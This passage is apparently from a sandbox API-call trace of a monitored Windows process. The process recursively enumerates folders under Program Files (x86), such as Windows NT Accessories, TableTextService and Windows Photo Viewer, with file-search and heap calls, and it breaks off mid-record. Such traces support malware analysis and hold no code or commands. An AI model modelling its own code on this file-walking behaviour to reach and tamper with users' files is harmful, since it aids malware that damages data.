lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0259.295] GetProcessHeap () returned 0x550000 [0259.295] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0259.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0259.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0259.311] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0259.311] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0259.312] GetProcessHeap () returned 0x550000 [0259.312] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0259.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8585f48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0259.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0259.312] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe46e7c7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xbe46e7c7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb1b193f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2f800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0259.312] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.314] GetProcessHeap () returned 0x550000 [0259.314] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.314] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0259.314] GetProcessHeap () returned 0x550000 [0259.314] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.501] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.501] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0259.501] GetProcessHeap () returned 0x550000 [0259.501] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0259.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0259.501] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.501] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0259.501] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0259.502] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0259.502] GetProcessHeap () returned 0x550000 [0259.502] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x688296e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x688296e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xaf1e3ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77dccedc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47eeed6d, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47eeed6d, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x77e3f2fc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77e3f2fc, ftCreationTime.dwHighDateTime=0x1c9ea14, ftLastAccessTime.dwLowDateTime=0x77e3f2fc, ftLastAccessTime.dwHighDateTime=0x1c9ea14, ftLastWriteTime.dwLowDateTime=0x77ed787c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f6118a, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47f6118a, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x7821d6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47ff9706, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x47ff9706, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x782dbd9c, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480459c4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x480459c4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0259.502] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x482a6fb4, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0x482a6fb4, ftLastAccessTime.dwHighDateTime=0x1ca0402, ftLastWriteTime.dwLowDateTime=0x783c05dc, ftLastWriteTime.dwHighDateTime=0x1c9ea14, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0259.503] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.503] GetProcessHeap () returned 0x550000 [0259.503] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.503] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0259.503] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.503] GetProcessHeap () returned 0x550000 [0259.503] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.503] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0259.503] GetProcessHeap () returned 0x550000 [0259.503] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0260.009] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbdbb080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbdbb080, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.009] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0260.009] GetProcessHeap () returned 0x550000 [0260.009] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0260.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0260.010] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.010] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0260.010] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0260.010] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0260.010] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0260.010] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0260.010] GetProcessHeap () returned 0x550000 [0260.010] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0260.010] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7849cb5e, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7849cb5e, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacc7aae, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16b08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67366c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67366c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb675c828, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cca570, ftCreationTime.dwHighDateTime=0x1d59717, ftLastAccessTime.dwLowDateTime=0x5ab97f60, ftLastAccessTime.dwHighDateTime=0x1d561ec, ftLastWriteTime.dwLowDateTime=0x5ab97f60, ftLastWriteTime.dwHighDateTime=0x1d561ec, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6710567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6710567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67366c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b02653, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78b02653, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xad33fb10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66ea407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb66ea407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6710567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x163800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0260.011] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff4846b0, ftCreationTime.dwHighDateTime=0x1d5bec1, ftLastAccessTime.dwLowDateTime=0x49a92a80, ftLastAccessTime.dwHighDateTime=0x1d59870, ftLastWriteTime.dwLowDateTime=0x49a92a80, ftLastWriteTime.dwHighDateTime=0x1d59870, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, 